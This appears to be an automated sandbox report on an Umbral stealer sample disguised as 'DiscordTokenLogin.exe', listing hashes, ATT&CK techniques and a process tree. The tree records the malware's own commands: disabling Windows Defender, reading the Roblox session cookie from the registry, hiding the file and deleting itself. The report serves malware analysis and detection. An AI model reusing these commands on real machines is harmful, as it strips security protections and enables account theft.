umbral | 7ac8bbf9ddb9f60f638fa6bb9ef47638f764215a46cc99b2d8e7acc5c9c3845d

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-02-2025 06:28

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General

Target

ezyZip/DiscordTokenLogin.exe
Size

229KB
MD5

fb717bb7603af22c74da4274a86cd934
SHA1

3d52d7c7ee6140b5129041790035b2c119be2ed0
SHA256

54a046d40c1986f4a9f360141e19c2f8b7c2c46e1eb1725b5fe75c3ee58e370c
SHA512

69795bcd71eba343b6417b484e65f68cde94a18de6bb8b46888b89b61e0d936d6c68092e37029f04372d9c94c04f03ed13ab91d94c5e64801499aeb3562a64c0
SSDEEP

6144:tloZM+rIkd8g+EtXHkv/iD40GqmAmB5K+/Cwhl09tb8e1m4i:voZtL+EP80GqmAmB5K+/Cwhl0nS

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2336-1-0x00000000010C0000-0x0000000001100000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2620	powershell.exe
2608	powershell.exe
1704	powershell.exe
2684	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	DiscordTokenLogin.exe

Deletes itself 1 IoCs

pid	Process
2836	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1472	PING.EXE
2836	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2868	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1472	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2336	DiscordTokenLogin.exe
2684	powershell.exe
2620	powershell.exe
2608	powershell.exe
2060	powershell.exe
1704	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2336	DiscordTokenLogin.exe
Token: SeIncreaseQuotaPrivilege	2896	wmic.exe
Token: SeSecurityPrivilege	2896	wmic.exe
Token: SeTakeOwnershipPrivilege	2896	wmic.exe
Token: SeLoadDriverPrivilege	2896	wmic.exe
Token: SeSystemProfilePrivilege	2896	wmic.exe
Token: SeSystemtimePrivilege	2896	wmic.exe
Token: SeProfSingleProcessPrivilege	2896	wmic.exe
Token: SeIncBasePriorityPrivilege	2896	wmic.exe
Token: SeCreatePagefilePrivilege	2896	wmic.exe
Token: SeBackupPrivilege	2896	wmic.exe
Token: SeRestorePrivilege	2896	wmic.exe
Token: SeShutdownPrivilege	2896	wmic.exe
Token: SeDebugPrivilege	2896	wmic.exe
Token: SeSystemEnvironmentPrivilege	2896	wmic.exe
Token: SeRemoteShutdownPrivilege	2896	wmic.exe
Token: SeUndockPrivilege	2896	wmic.exe
Token: SeManageVolumePrivilege	2896	wmic.exe
Token: 33	2896	wmic.exe
Token: 34	2896	wmic.exe
Token: 35	2896	wmic.exe
Token: SeIncreaseQuotaPrivilege	2896	wmic.exe
Token: SeSecurityPrivilege	2896	wmic.exe
Token: SeTakeOwnershipPrivilege	2896	wmic.exe
Token: SeLoadDriverPrivilege	2896	wmic.exe
Token: SeSystemProfilePrivilege	2896	wmic.exe
Token: SeSystemtimePrivilege	2896	wmic.exe
Token: SeProfSingleProcessPrivilege	2896	wmic.exe
Token: SeIncBasePriorityPrivilege	2896	wmic.exe
Token: SeCreatePagefilePrivilege	2896	wmic.exe
Token: SeBackupPrivilege	2896	wmic.exe
Token: SeRestorePrivilege	2896	wmic.exe
Token: SeShutdownPrivilege	2896	wmic.exe
Token: SeDebugPrivilege	2896	wmic.exe
Token: SeSystemEnvironmentPrivilege	2896	wmic.exe
Token: SeRemoteShutdownPrivilege	2896	wmic.exe
Token: SeUndockPrivilege	2896	wmic.exe
Token: SeManageVolumePrivilege	2896	wmic.exe
Token: 33	2896	wmic.exe
Token: 34	2896	wmic.exe
Token: 35	2896	wmic.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeIncreaseQuotaPrivilege	1912	wmic.exe
Token: SeSecurityPrivilege	1912	wmic.exe
Token: SeTakeOwnershipPrivilege	1912	wmic.exe
Token: SeLoadDriverPrivilege	1912	wmic.exe
Token: SeSystemProfilePrivilege	1912	wmic.exe
Token: SeSystemtimePrivilege	1912	wmic.exe
Token: SeProfSingleProcessPrivilege	1912	wmic.exe
Token: SeIncBasePriorityPrivilege	1912	wmic.exe
Token: SeCreatePagefilePrivilege	1912	wmic.exe
Token: SeBackupPrivilege	1912	wmic.exe
Token: SeRestorePrivilege	1912	wmic.exe
Token: SeShutdownPrivilege	1912	wmic.exe
Token: SeDebugPrivilege	1912	wmic.exe
Token: SeSystemEnvironmentPrivilege	1912	wmic.exe
Token: SeRemoteShutdownPrivilege	1912	wmic.exe
Token: SeUndockPrivilege	1912	wmic.exe
Token: SeManageVolumePrivilege	1912	wmic.exe
Token: 33	1912	wmic.exe
Token: 34	1912	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 2896	2336	DiscordTokenLogin.exe	32
PID 2336 wrote to memory of 2896	2336	DiscordTokenLogin.exe	32
PID 2336 wrote to memory of 2896	2336	DiscordTokenLogin.exe	32
PID 2336 wrote to memory of 2772	2336	DiscordTokenLogin.exe	35
PID 2336 wrote to memory of 2772	2336	DiscordTokenLogin.exe	35
PID 2336 wrote to memory of 2772	2336	DiscordTokenLogin.exe	35
PID 2336 wrote to memory of 2684	2336	DiscordTokenLogin.exe	37
PID 2336 wrote to memory of 2684	2336	DiscordTokenLogin.exe	37
PID 2336 wrote to memory of 2684	2336	DiscordTokenLogin.exe	37
PID 2336 wrote to memory of 2620	2336	DiscordTokenLogin.exe	39
PID 2336 wrote to memory of 2620	2336	DiscordTokenLogin.exe	39
PID 2336 wrote to memory of 2620	2336	DiscordTokenLogin.exe	39
PID 2336 wrote to memory of 2608	2336	DiscordTokenLogin.exe	41
PID 2336 wrote to memory of 2608	2336	DiscordTokenLogin.exe	41
PID 2336 wrote to memory of 2608	2336	DiscordTokenLogin.exe	41
PID 2336 wrote to memory of 2060	2336	DiscordTokenLogin.exe	43
PID 2336 wrote to memory of 2060	2336	DiscordTokenLogin.exe	43
PID 2336 wrote to memory of 2060	2336	DiscordTokenLogin.exe	43
PID 2336 wrote to memory of 1912	2336	DiscordTokenLogin.exe	45
PID 2336 wrote to memory of 1912	2336	DiscordTokenLogin.exe	45
PID 2336 wrote to memory of 1912	2336	DiscordTokenLogin.exe	45
PID 2336 wrote to memory of 108	2336	DiscordTokenLogin.exe	47
PID 2336 wrote to memory of 108	2336	DiscordTokenLogin.exe	47
PID 2336 wrote to memory of 108	2336	DiscordTokenLogin.exe	47
PID 2336 wrote to memory of 1224	2336	DiscordTokenLogin.exe	49
PID 2336 wrote to memory of 1224	2336	DiscordTokenLogin.exe	49
PID 2336 wrote to memory of 1224	2336	DiscordTokenLogin.exe	49
PID 2336 wrote to memory of 1704	2336	DiscordTokenLogin.exe	51
PID 2336 wrote to memory of 1704	2336	DiscordTokenLogin.exe	51
PID 2336 wrote to memory of 1704	2336	DiscordTokenLogin.exe	51
PID 2336 wrote to memory of 2868	2336	DiscordTokenLogin.exe	53
PID 2336 wrote to memory of 2868	2336	DiscordTokenLogin.exe	53
PID 2336 wrote to memory of 2868	2336	DiscordTokenLogin.exe	53
PID 2336 wrote to memory of 2836	2336	DiscordTokenLogin.exe	55
PID 2336 wrote to memory of 2836	2336	DiscordTokenLogin.exe	55
PID 2336 wrote to memory of 2836	2336	DiscordTokenLogin.exe	55
PID 2836 wrote to memory of 1472	2836	cmd.exe	57
PID 2836 wrote to memory of 1472	2836	cmd.exe	57
PID 2836 wrote to memory of 1472	2836	cmd.exe	57

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2772	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ezyZip\DiscordTokenLogin.exe
"C:\Users\Admin\AppData\Local\Temp\ezyZip\DiscordTokenLogin.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\ezyZip\DiscordTokenLogin.exe"
  2⤵
  - Views/modifies file attributes
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ezyZip\DiscordTokenLogin.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2060
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1912
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:108
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1704
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2868
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\ezyZip\DiscordTokenLogin.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1d6b56b1b5e4ebb155d4b8e408dbc0a5

SHA1
a4847b59647252a25a30886f5b68c84dbba4894d

SHA256
e76de9bb3149a35e35ad6ccd9de5cbaa8db05931251bfbe124f741995702f643

SHA512
2bed2f719a72f0663c1c5732bda020e93724616fc583e150df318af9f6a04e294e123ee10640dbe912e480e0eae047d5ee6de8345022d58413d450c7432c8656

Download Submit
memory/1704-43-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2336-0-0x000007FEF6513000-0x000007FEF6514000-memory.dmp

Filesize
4KB

Download
memory/2336-1-0x00000000010C0000-0x0000000001100000-memory.dmp

Filesize
256KB

Download
memory/2336-2-0x000007FEF6510000-0x000007FEF6EFC000-memory.dmp

Filesize
9.9MB

Download
memory/2336-47-0x000007FEF6510000-0x000007FEF6EFC000-memory.dmp

Filesize
9.9MB

Download
memory/2620-14-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2620-15-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2684-7-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2684-8-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download